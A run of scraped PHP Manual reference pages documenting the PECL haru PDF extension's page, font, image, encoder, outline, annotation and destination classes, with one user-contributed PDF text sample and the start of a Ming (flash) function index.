HaruPage::stroke
HaruPage::textRect
HaruPage
PHP Manual

HaruPage::textOut

(PECL haru >= 0.0.1)

HaruPage::textOut — Print the text on the specified position

Description

bool HaruPage::textOut ( float $x , float $y , string $text )

Prints the text on the specified position.

Parameters

x

y

text

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::showTextNextLine() - Move the current position to the start of the next line and print the text
  • HaruPage::showText() - Print text at the current position of the page

User Contributed Notes

aku at syuaa dot net 09-Jun-2011 02:53
a simple sample of textOut :

<?php

$text = "Syuaa is another little programmer";

$doc=new HaruDoc;
$page=$doc->addPage();

//load haru font Times-Roman
$font = $doc->getFont('Times-Roman');

//Begin creating text on x100, y150
$page->beginText();
$page->setFontandSize($font, 12);
$page->textOut(100, 150, $text);
$page->endText();

//Open as pdf
header('Content-type: application/pdf');
$doc->output();
?>
HaruPage::stroke
HaruPage::textRect
HaruPage


Print the text inside the specified region

HaruPage::textOut
HaruFont
HaruPage
PHP Manual

HaruPage::textRect

(PECL haru >= 0.0.1)

HaruPage::textRect — Print the text inside the specified region

Description

bool HaruPage::textRect ( float $left , float $top , float $right , float $bottom , string $text [, int $align = HaruPage::TALIGN_LEFT ] )

Prints the text inside the specified region.

Parameters

left

Left border of the text area.

top

Top border of the text area.

right

Right border of the text area.

bottom

Lower border of the text area.

text

The text to print.

align

Text alignment. Must be one of the following values:

  • HaruPage::TALIGN_LEFT
  • HaruPage::TALIGN_RIGHT
  • HaruPage::TALIGN_CENTER
  • HaruPage::TALIGN_JUSTIFY

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruPage::showTextNextLine() - Move the current position to the start of the next line and print the text
  • HaruPage::showText() - Print text at the current position of the page
  • HaruPage::textOut() - Print the text on the specified position

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::textOut
HaruFont
HaruPage


The HaruFont class

(No version information available, might only be in SVN)

Introduction

Haru PDF Font Class.

Class synopsis

HaruFont {
/* Methods */
int getAscent ( void )
int getCapHeight ( void )
int getDescent ( void )
string getEncodingName ( void )
string getFontName ( void )
array getTextWidth ( string $text )
int getUnicodeWidth ( int $character )
int getXHeight ( void )
int measureText ( string $text , float $width , float $font_size , float $char_space , float $word_space [, bool $word_wrap = false ] )
}

Table of Contents

  • HaruFont::getAscent — Get the vertical ascent of the font
  • HaruFont::getCapHeight — Get the distance from the baseline of uppercase letters
  • HaruFont::getDescent — Get the vertical descent of the font
  • HaruFont::getEncodingName — Get the name of the encoding
  • HaruFont::getFontName — Get the name of the font
  • HaruFont::getTextWidth — Get the total width of the text, number of characters, number of words and number of spaces
  • HaruFont::getUnicodeWidth — Get the width of the character in the font
  • HaruFont::getXHeight — Get the distance from the baseline of lowercase letters
  • HaruFont::measureText — Calculate the number of characters which can be included within the specified width

User Contributed Notes

There are no user contributed notes for this page.
HaruPage::textRect
HaruFont::getAscent
haru


Get the vertical ascent of the font

HaruFont
HaruFont::getCapHeight
HaruFont
PHP Manual

HaruFont::getAscent

(PECL haru >= 0.0.1)

HaruFont::getAscent — Get the vertical ascent of the font

Description

int HaruFont::getAscent ( void )

Get the vertical ascent of the font.

Parameters

This function has no parameters.

Return Values

Returns the vertical ascent of the font.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruFont
HaruFont::getCapHeight
HaruFont


Get the distance from the baseline of uppercase letters

HaruFont::getAscent
HaruFont::getDescent
HaruFont
PHP Manual

HaruFont::getCapHeight

(PECL haru >= 0.0.1)

HaruFont::getCapHeight — Get the distance from the baseline of uppercase letters

Description

int HaruFont::getCapHeight ( void )

Get the distance from the baseline of uppercase letters.

Parameters

This function has no parameters.

Return Values

Returns the distance from the baseline of uppercase letters.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruFont::getAscent
HaruFont::getDescent
HaruFont


Get the vertical descent of the font

HaruFont::getCapHeight
HaruFont::getEncodingName
HaruFont
PHP Manual

HaruFont::getDescent

(PECL haru >= 0.0.1)

HaruFont::getDescent — Get the vertical descent of the font

Description

int HaruFont::getDescent ( void )

Get the vertical descent of the font.

Parameters

This function has no parameters.

Return Values

Return the vertical descent of the font.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruFont::getCapHeight
HaruFont::getEncodingName
HaruFont


Get the name of the encoding

HaruFont::getDescent
HaruFont::getFontName
HaruFont
PHP Manual

HaruFont::getEncodingName

(PECL haru >= 0.0.1)

HaruFont::getEncodingName — Get the name of the encoding

Description

string HaruFont::getEncodingName ( void )

Get the name of the font encoding.

Parameters

This function has no parameters.

Return Values

Returns the name of the font encoding.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruFont::getDescent
HaruFont::getFontName
HaruFont


Get the name of the font

HaruFont::getEncodingName
HaruFont::getTextWidth
HaruFont
PHP Manual

HaruFont::getFontName

(PECL haru >= 0.0.1)

HaruFont::getFontName — Get the name of the font

Description

string HaruFont::getFontName ( void )

Get the name of the font.

Parameters

This function has no parameters.

Return Values

Returns the name of the font.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruFont::getEncodingName
HaruFont::getTextWidth
HaruFont


Get the total width of the text, number of characters, number of words and number of spaces

HaruFont::getFontName
HaruFont::getUnicodeWidth
HaruFont
PHP Manual

HaruFont::getTextWidth

(PECL haru >= 0.0.1)

HaruFont::getTextWidth — Get the total width of the text, number of characters, number of words and number of spaces

Description

array HaruFont::getTextWidth ( string $text )

Get the total width of the text, number of characters, number of words and number of spaces.

Parameters

text

The text to measure.

Return Values

Returns the total width of the text, number of characters, number of words and number of spaces in the given text.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruFont::getFontName
HaruFont::getUnicodeWidth
HaruFont


Get the width of the character in the font

HaruFont::getTextWidth
HaruFont::getXHeight
HaruFont
PHP Manual

HaruFont::getUnicodeWidth

(PECL haru >= 0.0.1)

HaruFont::getUnicodeWidth — Get the width of the character in the font

Description

int HaruFont::getUnicodeWidth ( int $character )

Get the width of the character in the font.

Parameters

character

The code of the character.

Return Values

Returns the width of the character in the font.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruFont::getTextWidth
HaruFont::getXHeight
HaruFont


Get the distance from the baseline of lowercase letters

HaruFont::getUnicodeWidth
HaruFont::measureText
HaruFont
PHP Manual

HaruFont::getXHeight

(PECL haru >= 0.0.1)

HaruFont::getXHeight — Get the distance from the baseline of lowercase letters

Description

int HaruFont::getXHeight ( void )

Gets the distance from the baseline of lowercase letters.

Parameters

This function has no parameters.

Return Values

Returns the distance from the baseline of lowercase letters.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruFont::getUnicodeWidth
HaruFont::measureText
HaruFont


Calculate the number of characters which can be included within the specified width

HaruFont::getXHeight
HaruImage
HaruFont
PHP Manual

HaruFont::measureText

(PECL haru >= 0.0.1)

HaruFont::measureText — Calculate the number of characters which can be included within the specified width

Description

int HaruFont::measureText ( string $text , float $width , float $font_size , float $char_space , float $word_space [, bool $word_wrap = false ] )

Calculate the number of characters which can be included within the specified width.

Parameters

text

The text to fit the width.

width

The width of the area to put the text to.

font_size

The size of the font.

char_space

The character spacing.

word_space

The word spacing.

word_wrap

When this parameter is set to TRUE the function "emulates" word wrapping and doesn't include the part of the current word if reached the end of the area.

Return Values

Returns the number of characters which can be included within the specified width.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruFont::getXHeight
HaruImage
HaruFont


The HaruImage class

(No version information available, might only be in SVN)

Introduction

Haru PDF Image Class.

Class synopsis

HaruImage {
/* Methods */
int getBitsPerComponent ( void )
string getColorSpace ( void )
int getHeight ( void )
array getSize ( void )
int getWidth ( void )
bool setColorMask ( int $rmin , int $rmax , int $gmin , int $gmax , int $bmin , int $bmax )
bool setMaskImage ( object $mask_image )
}

Table of Contents

  • HaruImage::getBitsPerComponent — Get the number of bits used to describe each color component of the image
  • HaruImage::getColorSpace — Get the name of the color space
  • HaruImage::getHeight — Get the height of the image
  • HaruImage::getSize — Get size of the image
  • HaruImage::getWidth — Get the width of the image
  • HaruImage::setColorMask — Set the color mask of the image
  • HaruImage::setMaskImage — Set the image mask

User Contributed Notes

There are no user contributed notes for this page.
HaruFont::measureText
HaruImage::getBitsPerComponent
haru


Get the number of bits used to describe each color component of the image

HaruImage
HaruImage::getColorSpace
HaruImage
PHP Manual

HaruImage::getBitsPerComponent

(PECL haru >= 0.0.1)

HaruImage::getBitsPerComponent — Get the number of bits used to describe each color component of the image

Description

int HaruImage::getBitsPerComponent ( void )

Gets the number of bits used to describe each color component of the image.

Parameters

This function has no parameters.

Return Values

Returns the number of bits used to describe each color component of the image.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruImage
HaruImage::getColorSpace
HaruImage


Get the name of the color space

HaruImage::getBitsPerComponent
HaruImage::getHeight
HaruImage
PHP Manual

HaruImage::getColorSpace

(PECL haru >= 0.0.1)

HaruImage::getColorSpace — Get the name of the color space

Description

string HaruImage::getColorSpace ( void )

Get the name of the color space.

Parameters

This function has no parameters.

Return Values

Returns the name of the color space of the image. The name is one of the following values:

  • "DeviceGray"
  • "DeviceRGB"
  • "DeviceCMYK"
  • "Indexed"

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruImage::getBitsPerComponent
HaruImage::getHeight
HaruImage


Get the height of the image

HaruImage::getColorSpace
HaruImage::getSize
HaruImage
PHP Manual

HaruImage::getHeight

(PECL haru >= 0.0.1)

HaruImage::getHeight — Get the height of the image

Description

int HaruImage::getHeight ( void )

Get the height of the image.

Parameters

This function has no parameters.

Return Values

Returns the height of the image.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruImage::getColorSpace
HaruImage::getSize
HaruImage


Get size of the image

HaruImage::getHeight
HaruImage::getWidth
HaruImage
PHP Manual

HaruImage::getSize

(PECL haru >= 0.0.1)

HaruImage::getSize — Get size of the image

Description

array HaruImage::getSize ( void )

Get the size of the image.

Parameters

This function has no parameters.

Return Values

Returns an array with two elements: width and height, which contain appropriate dimensions of the image.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruImage::getHeight
HaruImage::getWidth
HaruImage


Get the width of the image

HaruImage::getSize
HaruImage::setColorMask
HaruImage
PHP Manual

HaruImage::getWidth

(PECL haru >= 0.0.1)

HaruImage::getWidth — Get the width of the image

Description

int HaruImage::getWidth ( void )

Get the width of the image.

Parameters

This function has no parameters.

Return Values

Returns the width of the image.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruImage::getSize
HaruImage::setColorMask
HaruImage


Set the color mask of the image

HaruImage::getWidth
HaruImage::setMaskImage
HaruImage
PHP Manual

HaruImage::setColorMask

(PECL haru >= 0.0.1)

HaruImage::setColorMask — Set the color mask of the image

Description

bool HaruImage::setColorMask ( int $rmin , int $rmax , int $gmin , int $gmax , int $bmin , int $bmax )

Defines the transparent color of the image using the RGB range values. The color within the range is displayed as a transparent color. The color space of the image must be RGB.

Parameters

rmin

The lower limit of red. Must be between 0 and 255.

rmax

The upper limit of red. Must be between 0 and 255.

gmin

The lower limit of green. Must be between 0 and 255.

gmax

The upper limit of green. Must be between 0 and 255.

bmin

The lower limit of blue. Must be between 0 and 255.

bmax

The upper limit of blue. Must be between 0 and 255.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruImage::getWidth
HaruImage::setMaskImage
HaruImage


Set the image mask

HaruImage::setColorMask
HaruEncoder
HaruImage
PHP Manual

HaruImage::setMaskImage

(PECL haru >= 0.0.1)

HaruImage::setMaskImage — Set the image mask

Description

bool HaruImage::setMaskImage ( object $mask_image )

Sets the image used as image-mask. It must be 1bit gray-scale color image.

Parameters

mask_image

A valid HaruImage instance.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruImage::setColorMask
HaruEncoder
HaruImage


The HaruEncoder class

(No version information available, might only be in SVN)

Introduction

Haru PDF Encoder Class.

Class synopsis

HaruEncoder {
/* Methods */
int getByteType ( string $text , int $index )
int getType ( void )
int getUnicode ( int $character )
int getWritingMode ( void )
}

Predefined Constants

Type | Name | Description
int | HaruEncoder::TYPE_SINGLE_BYTE |
int | HaruEncoder::TYPE_DOUBLE_BYTE |
int | HaruEncoder::TYPE_UNINITIALIZED |
int | HaruEncoder::UNKNOWN |
int | HaruEncoder::WMODE_HORIZONTAL |
int | HaruEncoder::WMODE_VERTICAL |
int | HaruEncoder::BYTE_TYPE_SINGLE |
int | HaruEncoder::BYTE_TYPE_LEAD |
int | HaruEncoder::BYTE_TYPE_TRAIL |
int | HaruEncoder::BYTE_TYPE_UNKNOWN |

Table of Contents

  • HaruEncoder::getByteType — Get the type of the byte in the text
  • HaruEncoder::getType — Get the type of the encoder
  • HaruEncoder::getUnicode — Convert the specified character to unicode
  • HaruEncoder::getWritingMode — Get the writing mode of the encoder

User Contributed Notes

There are no user contributed notes for this page.
HaruImage::setMaskImage
HaruEncoder::getByteType
haru


Get the type of the byte in the text

HaruEncoder
HaruEncoder::getType
HaruEncoder
PHP Manual

HaruEncoder::getByteType

(PECL haru >= 0.0.1)

HaruEncoder::getByteType — Get the type of the byte in the text

Description

int HaruEncoder::getByteType ( string $text , int $index )

Get the type of the byte in the text.

Parameters

text

The text.

index

The position in the text.

Return Values

Returns the type of the byte in the text on the specified position. The result is one of the following values:

  • HaruEncoder::BYTE_TYPE_SINGLE - single byte character.
  • HaruEncoder::BYTE_TYPE_LEAD - lead byte of a double-byte character.
  • HaruEncoder::BYTE_TYPE_TRAIL - trailing byte of a double-byte character.
  • HaruEncoder::BYTE_TYPE_UNKNOWN - invalid encoder or cannot detect the byte type.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruEncoder
HaruEncoder::getType
HaruEncoder


Get the type of the encoder

HaruEncoder::getByteType
HaruEncoder::getUnicode
HaruEncoder
PHP Manual

HaruEncoder::getType

(PECL haru >= 0.0.1)

HaruEncoder::getType — Get the type of the encoder

Description

int HaruEncoder::getType ( void )

Get the type of the encoder.

Parameters

This function has no parameters.

Return Values

Returns the type of the encoder. The result is one of the following values:

  • HaruEncoder::TYPE_SINGLE_BYTE - the encoder is for single byte characters.
  • HaruEncoder::TYPE_DOUBLE_BYTE - the encoder is for multibyte characters.
  • HaruEncoder::TYPE_UNINITIALIZED - the encoder is not initialized.
  • HaruEncoder::UNKNOWN - the encoder is invalid.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruEncoder::getByteType
HaruEncoder::getUnicode
HaruEncoder


Convert the specified character to unicode

HaruEncoder::getType
HaruEncoder::getWritingMode
HaruEncoder
PHP Manual

HaruEncoder::getUnicode

(PECL haru >= 0.0.1)

HaruEncoder::getUnicode — Convert the specified character to unicode

Description

int HaruEncoder::getUnicode ( int $character )

Converts the specified character to unicode.

Parameters

character

The character code to convert.

Return Values

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruEncoder::getType
HaruEncoder::getWritingMode
HaruEncoder


Get the writing mode of the encoder

HaruEncoder::getUnicode
HaruOutline
HaruEncoder
PHP Manual

HaruEncoder::getWritingMode

(PECL haru >= 0.0.1)

HaruEncoder::getWritingMode — Get the writing mode of the encoder

Description

int HaruEncoder::getWritingMode ( void )

Get the writing mode of the encoder.

Parameters

This function has no parameters.

Return Values

Returns the writing mode of the encoder. The result value is on of the following:

  • HaruEncoder::WMODE_HORIZONTAL - horizontal writing mode.
  • HaruEncoder::WMODE_VERTICAL - vertical writing mode.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruEncoder::getUnicode
HaruOutline
HaruEncoder


The HaruOutline class

(No version information available, might only be in SVN)

Introduction

Haru PDF Outline Class.

Class synopsis

HaruOutline {
/* Methods */
bool setDestination ( object $destination )
bool setOpened ( bool $opened )
}

Table of Contents

  • HaruOutline::setDestination — Set the destination for the outline
  • HaruOutline::setOpened — Set the initial state of the outline

User Contributed Notes

There are no user contributed notes for this page.
HaruEncoder::getWritingMode
HaruOutline::setDestination
haru


Set the destination for the outline

HaruOutline
HaruOutline::setOpened
HaruOutline
PHP Manual

HaruOutline::setDestination

(PECL haru >= 0.0.1)

HaruOutline::setDestination — Set the destination for the outline

Description

bool HaruOutline::setDestination ( object $destination )

Sets a destination object which becomes a target to jump to when the outline is clicked.

Parameters

destination

A valid HaruDestination instance.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruOutline
HaruOutline::setOpened
HaruOutline


Set the initial state of the outline

HaruOutline::setDestination
HaruAnnotation
HaruOutline
PHP Manual

HaruOutline::setOpened

(PECL haru >= 0.0.1)

HaruOutline::setOpened — Set the initial state of the outline

Description

bool HaruOutline::setOpened ( bool $opened )

Defines whether this node is opened or not when the outline is displayed for the first time.

Parameters

opened

TRUE means open, FALSE - closed.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruOutline::setDestination
HaruAnnotation
HaruOutline


The HaruAnnotation class

(No version information available, might only be in SVN)

Introduction

Haru PDF Annotation Class.

Class synopsis

HaruAnnotation {
/* Methods */
bool setBorderStyle ( float $width , int $dash_on , int $dash_off )
bool setHighlightMode ( int $mode )
bool setIcon ( int $icon )
bool setOpened ( bool $opened )
}

Predefined Constants

Type | Name | Description
int | HaruAnnotation::NO_HIGHLIGHT |
int | HaruAnnotation::INVERT_BOX |
int | HaruAnnotation::INVERT_BORDER |
int | HaruAnnotation::DOWN_APPEARANCE |
int | HaruAnnotation::ICON_COMMENT |
int | HaruAnnotation::ICON_KEY |
int | HaruAnnotation::ICON_NOTE |
int | HaruAnnotation::ICON_HELP |
int | HaruAnnotation::ICON_NEW_PARAGRAPH |
int | HaruAnnotation::ICON_PARAGRAPH |
int | HaruAnnotation::ICON_INSERT |

Table of Contents

  • HaruAnnotation::setBorderStyle — Set the border style of the annotation
  • HaruAnnotation::setHighlightMode — Set the highlighting mode of the annotation
  • HaruAnnotation::setIcon — Set the icon style of the annotation
  • HaruAnnotation::setOpened — Set the initial state of the annotation

User Contributed Notes

There are no user contributed notes for this page.
HaruOutline::setOpened
HaruAnnotation::setBorderStyle
haru


Set the border style of the annotation

HaruAnnotation
HaruAnnotation::setHighlightMode
HaruAnnotation
PHP Manual

HaruAnnotation::setBorderStyle

(PECL haru >= 0.0.1)

HaruAnnotation::setBorderStyle — Set the border style of the annotation

Description

bool HaruAnnotation::setBorderStyle ( float $width , int $dash_on , int $dash_off )

Defines the style of the border of the annotation. This function may be used with link annotations only.

Parameters

width

The width of the border line.

dash_on

The dash style.

dash_off

The dash style.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruAnnotation
HaruAnnotation::setHighlightMode
HaruAnnotation


Set the highlighting mode of the annotation

HaruAnnotation::setBorderStyle
HaruAnnotation::setIcon
HaruAnnotation
PHP Manual

HaruAnnotation::setHighlightMode

(PECL haru >= 0.0.1)

HaruAnnotation::setHighlightMode — Set the highlighting mode of the annotation

Description

bool HaruAnnotation::setHighlightMode ( int $mode )

Defines the appearance of the annotation when clicked. This function may be used with link annotations only.

Parameters

mode

The highlighting mode of the annotation. Can take only these values:

  • HaruAnnotation::NO_HIGHLIGHT - no highlighting.
  • HaruAnnotation::INVERT_BOX - invert the contents of the annotation.
  • HaruAnnotation::INVERT_BORDER - invert the border of the annotation.
  • HaruAnnotation::DOWN_APPEARANCE - dent the annotation.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruAnnotation::setBorderStyle
HaruAnnotation::setIcon
HaruAnnotation


Set the icon style of the annotation

HaruAnnotation::setHighlightMode
HaruAnnotation::setOpened
HaruAnnotation
PHP Manual

HaruAnnotation::setIcon

(PECL haru >= 0.0.1)

HaruAnnotation::setIcon — Set the icon style of the annotation

Description

bool HaruAnnotation::setIcon ( int $icon )

Defines the style of the annotation icon. This function may be used with text annotations only.

Parameters

icon

The style of the icon. Can take only these values:

  • HaruAnnotation::ICON_COMMENT
  • HaruAnnotation::ICON_KEY
  • HaruAnnotation::ICON_NOTE
  • HaruAnnotation::ICON_HELP
  • HaruAnnotation::ICON_NEW_PARAGRAPH
  • HaruAnnotation::ICON_PARAGRAPH
  • HaruAnnotation::ICON_INSERT

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruAnnotation::setHighlightMode
HaruAnnotation::setOpened
HaruAnnotation


Set the initial state of the annotation

HaruAnnotation::setIcon
HaruDestination
HaruAnnotation
PHP Manual

HaruAnnotation::setOpened

(PECL haru >= 0.0.1)

HaruAnnotation::setOpened — Set the initial state of the annotation

Description

bool HaruAnnotation::setOpened ( bool $opened )

Defines whether the annotation is initially displayed open. This function may be used with text annotations only.

Parameters

opened

TRUE means the annotation is initially displayed open, FALSE - means it's closed.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruAnnotation::setIcon
HaruDestination
HaruAnnotation


The HaruDestination class

(No version information available, might only be in SVN)

Introduction

Haru PDF Destination Class.

Class synopsis

HaruDestination {
/* Methods */
bool setFit ( void )
bool setFitB ( void )
bool setFitBH ( float $top )
bool setFitBV ( float $left )
bool setFitH ( float $top )
bool setFitR ( float $left , float $bottom , float $right , float $top )
bool setFitV ( float $left )
bool setXYZ ( float $left , float $top , float $zoom )
}

Table of Contents

  • HaruDestination::setFit — Set the appearance of the page to fit the window
  • HaruDestination::setFitB — Set the appearance of the page to fit the bounding box of the page within the window
  • HaruDestination::setFitBH — Set the appearance of the page to fit the width of the bounding box
  • HaruDestination::setFitBV — Set the appearance of the page to fit the height of the boudning box
  • HaruDestination::setFitH — Set the appearance of the page to fit the window width
  • HaruDestination::setFitR — Set the appearance of the page to fit the specified rectangle
  • HaruDestination::setFitV — Set the appearance of the page to fit the window height
  • HaruDestination::setXYZ — Set the appearance of the page

User Contributed Notes

There are no user contributed notes for this page.
HaruAnnotation::setOpened
HaruDestination::setFit
haru


Set the appearance of the page to fit the window

HaruDestination
HaruDestination::setFitB
HaruDestination
PHP Manual

HaruDestination::setFit

(PECL haru >= 0.0.1)

HaruDestination::setFit — Set the appearance of the page to fit the window

Description

bool HaruDestination::setFit ( void )

Defines the appearance of the page to fit the window.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruDestination
HaruDestination::setFitB
HaruDestination


Set the appearance of the page to fit the bounding box of the page within the window

HaruDestination::setFit
HaruDestination::setFitBH
HaruDestination
PHP Manual

HaruDestination::setFitB

(PECL haru >= 0.0.1)

HaruDestination::setFitB — Set the appearance of the page to fit the bounding box of the page within the window

Description

bool HaruDestination::setFitB ( void )

Defines the appearance of the page to fit the bounding box of the page within the window.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruDestination::setFit
HaruDestination::setFitBH
HaruDestination


Set the appearance of the page to fit the width of the bounding box

HaruDestination::setFitB
HaruDestination::setFitBV
HaruDestination
PHP Manual

HaruDestination::setFitBH

(PECL haru >= 0.0.1)

HaruDestination::setFitBH — Set the appearance of the page to fit the width of the bounding box

Description

bool HaruDestination::setFitBH ( float $top )

Defines the appearance of the page to magnifying to fit the width of the bounding box and setting the top position of the page to the value of top.

Parameters

top

The top coordinates of the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruDestination::setFitB
HaruDestination::setFitBV
HaruDestination


Set the appearance of the page to fit the height of the boudning box

HaruDestination::setFitBH
HaruDestination::setFitH
HaruDestination
PHP Manual

HaruDestination::setFitBV

(PECL haru >= 0.0.1)

HaruDestination::setFitBV — Set the appearance of the page to fit the height of the boudning box

Description

bool HaruDestination::setFitBV ( float $left )

Defines the appearance of the page to magnifying to fit the height of the bounding box and setting the left position of the page to the value of left.

Parameters

left

The left coordinates of the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruDestination::setFitBH
HaruDestination::setFitH
HaruDestination


Set the appearance of the page to fit the window width

HaruDestination::setFitBV
HaruDestination::setFitR
HaruDestination
PHP Manual

HaruDestination::setFitH

(PECL haru >= 0.0.1)

HaruDestination::setFitH — Set the appearance of the page to fit the window width

Description

bool HaruDestination::setFitH ( float $top )

Defines the appearance of the page to fit the window width and sets the top position of the page to the value of top.

Parameters

top

The top position of the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruDestination::setFitBV
HaruDestination::setFitR
HaruDestination


Set the appearance of the page to fit the specified rectangle

HaruDestination::setFitH
HaruDestination::setFitV
HaruDestination
PHP Manual

HaruDestination::setFitR

(PECL haru >= 0.0.1)

HaruDestination::setFitR — Set the appearance of the page to fit the specified rectangle

Description

bool HaruDestination::setFitR ( float $left , float $bottom , float $right , float $top )

Defines the appearance of the page to fit the rectangle by the parameters.

Parameters

left

The left coordinates of the page.

bottom

The bottom coordinates of the page.

right

The right coordinates of the page.

top

The top coordinates of the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruDestination::setFitH
HaruDestination::setFitV
HaruDestination


Set the appearance of the page to fit the window height

HaruDestination::setFitR
HaruDestination::setXYZ
HaruDestination
PHP Manual

HaruDestination::setFitV

(PECL haru >= 0.0.1)

HaruDestination::setFitV — Set the appearance of the page to fit the window height

Description

bool HaruDestination::setFitV ( float $left )

Defines the appearance of the page to fit the window height.

Parameters

left

The left position of the page.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruDestination::setFitR
HaruDestination::setXYZ
HaruDestination


Set the appearance of the page

HaruDestination::setFitV
Ming
HaruDestination
PHP Manual

HaruDestination::setXYZ

(PECL haru >= 0.0.1)

HaruDestination::setXYZ — Set the appearance of the page

Description

bool HaruDestination::setXYZ ( float $left , float $top , float $zoom )

Defines the appearance of the page using three parameters: left, top and zoom.

Parameters

left

The left position of the page.

top

The top position of the page.

zoom

The magnification factor. The value must be between 0.08 (8%) and 32 (3200%).

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.
HaruDestination::setFitV
Ming
HaruDestination


Ming (flash)

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • SWFAction Examples
    • SWFSPrite basic examples
  • Ming Functions
    • ming_keypress — Returns the action flag for keyPress(char)
    • ming_setcubicthreshold — Set cubic threshold
    • ming_setscale — Set the global scaling factor.
    • ming_setswfcompression — Sets the SWF output compression
    • ming_useconstants — Use constant pool
    • ming_useswfversion — Sets the SWF version
  • SWFAction — The SWFAction class
    • SWFAction::__construct — Creates a new SWFAction
  • SWFBitmap — The SWFBitmap class
    • SWFBitmap::__construct — Loads Bitmap object
    • SWFBitmap::getHeight — Returns the bitmap's height
    • SWFBitmap::getWidth — Returns the bitmap's width
  • SWFButton — The SWFButton class
    • SWFButton::addAction — Adds an action
    • SWFButton::addASound — Associates a sound with a button transition
    • SWFButton::addShape — Adds a shape to a button
    • SWFButton::__construct — Creates a new Button
    • SWFButton::setAction — Sets the action
    • SWFButton::setDown — Alias for addShape(shape, SWFBUTTON_DOWN)
    • SWFButton::setHit — Alias for addShape(shape, SWFBUTTON_HIT)
    • SWFButton::setMenu — enable track as menu button behaviour
    • SWFButton::setOver — Alias for addShape(shape, SWFBUTTON_OVER)
    • SWFButton::setUp — Alias for addShape(shape, SWFBUTTON_UP)
  • SWFDisplayItem — The SWFDisplayItem class
    • SWFDisplayItem::addAction — Adds this SWFAction to the given SWFSprite instance
    • SWFDisplayItem::addColor — Adds the given color to this item's color transform
    • SWFDisplayItem::endMask — Another way of defining a MASK layer
    • SWFDisplayItem::getRot — Description
    • SWFDisplayItem::getX — Description
    • SWFDisplayItem::getXScale — Description
    • SWFDisplayItem::getXSkew — Description
    • SWFDisplayItem::getY — Description
    • SWFDisplayItem::getYScale — Description
    • SWFDisplayItem::getYSkew — Description
    • SWFDisplayItem::move — Moves object in relative coordinates
    • SWFDisplayItem::moveTo — Moves object in global coordinates
    • SWFDisplayItem::multColor — Multiplies the item's color transform
    • SWFDisplayItem::remove — Removes the object from the movie
    • SWFDisplayItem::rotate — Rotates in relative coordinates
    • SWFDisplayItem::rotateTo — Rotates the object in global coordinates
    • SWFDisplayItem::scale — Scales the object in relative coordinates
    • SWFDisplayItem::scaleTo — Scales the object in global coordinates
    • SWFDisplayItem::setDepth — Sets z-order
    • SWFDisplayItem::setMaskLevel — Defines a MASK layer at level
